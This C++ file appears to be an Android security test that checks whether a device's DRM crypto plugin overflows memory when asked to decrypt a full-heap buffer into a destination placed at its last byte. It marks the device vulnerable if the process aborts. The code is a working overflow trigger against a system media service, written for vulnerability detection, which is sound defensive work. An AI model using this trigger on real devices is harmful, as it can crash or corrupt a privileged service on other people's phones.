/**
 * Copyright (C) 2019 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <android/hardware/drm/1.0/ICryptoFactory.h>
#include <android/hardware/drm/1.0/ICryptoPlugin.h>
#include <android/hardware/drm/1.0/types.h>
#include <android/hardware/drm/1.2/ICryptoPlugin.h>
#include <android/hardware/drm/1.2/types.h>
#include <binder/IMemory.h>
#include <binder/MemoryDealer.h>
#include <hidl/HidlSupport.h>
#include <hidlmemory/FrameworkUtils.h>
#include <mediadrm/DrmUtils.h>
#include <unistd.h>

#include <cstdint>
#include <cstdio>
#include <vector>

#include "../includes/common.h"

using namespace android;
using namespace ::android::hardware::drm;
using ::android::IMemoryHeap;
using ::android::MemoryDealer;
using ::android::sp;
using ::android::hardware::fromHeap;
using ::android::hardware::hidl_string;
using ::android::hardware::hidl_vec;
using ::android::hardware::HidlMemory;
using ::android::hardware::drm::V1_0::BufferType;
using ::android::hardware::drm::V1_0::DestinationBuffer;
using ::android::hardware::drm::V1_0::ICryptoFactory;
using ::android::hardware::drm::V1_0::ICryptoPlugin;
using ::android::hardware::drm::V1_0::Mode;
using ::android::hardware::drm::V1_0::Pattern;
using ::android::hardware::drm::V1_0::SharedBuffer;
using ::android::hardware::drm::V1_0::Status;
using ::android::hardware::drm::V1_0::SubSample;

namespace {

uint32_t kHeapSize = 0x2000;

void setHeapBase(const sp<ICryptoPlugin> &plugin) {
  sp<MemoryDealer> memoryDealer = new MemoryDealer(kHeapSize);
  sp<IMemoryHeap> memoryHeap = memoryDealer->getMemoryHeap();
  memset(memoryHeap->getBase(), 'A', kHeapSize);
  sp<HidlMemory> hidlMemory = fromHeap(memoryHeap);
  plugin->setSharedBufferBase(*hidlMemory, 0);
  return;
}

template <typename Status_, typename Plugin, typename Decrypt>
void decrypt(Plugin *plugin, Decrypt decrypt) {
  Pattern hPattern{.encryptBlocks = 0, .skipBlocks = 1};
  SharedBuffer hSource{.bufferId = 0, .offset = 0, .size = kHeapSize};
  hidl_vec<SubSample> subSamples{
      {.numBytesOfClearData = kHeapSize, .numBytesOfEncryptedData = 0}};
  DestinationBuffer hDestination{
      .type = BufferType::SHARED_MEMORY,
      .nonsecureMemory = {.bufferId = 0, .offset = kHeapSize - 1, .size = 1}};

  (plugin->*decrypt)(
      false, {}, {}, Mode::UNENCRYPTED, hPattern, subSamples, hSource, 0,
      hDestination, [&](Status_ err, uint32_t, hidl_string msg) {
        if (err != static_cast<Status_>(V1_0::Status::BAD_VALUE) &&
            err != static_cast<Status_>(V1_0::Status::ERROR_DRM_UNKNOWN) &&
            err !=
                static_cast<Status_>(V1_2::Status::ERROR_DRM_FRAME_TOO_LARGE)) {
          ALOGE("OVERFLOW DETECTED %d %s\n", err, msg.c_str());
        }
      });
}

}  // namespace

static void handler(int) {
  ALOGI("Good, the test condition has been triggered");
  exit(EXIT_VULNERABLE);
}

int main() {
  const uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
                            0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b};

  signal(SIGABRT, handler);

  for (const auto &plugin : DrmUtils::MakeCryptoPlugins(uuid, nullptr, 0)) {
    setHeapBase(plugin);
    decrypt<V1_0::Status>(plugin.get(), &V1_0::ICryptoPlugin::decrypt);
    sp<V1_2::ICryptoPlugin> plugin_1_2 = V1_2::ICryptoPlugin::castFrom(plugin);
    if (plugin_1_2.get()) {
      decrypt<V1_2::Status>(plugin_1_2.get(),
                            &V1_2::ICryptoPlugin::decrypt_1_2);
    }
  }
  return 0;
}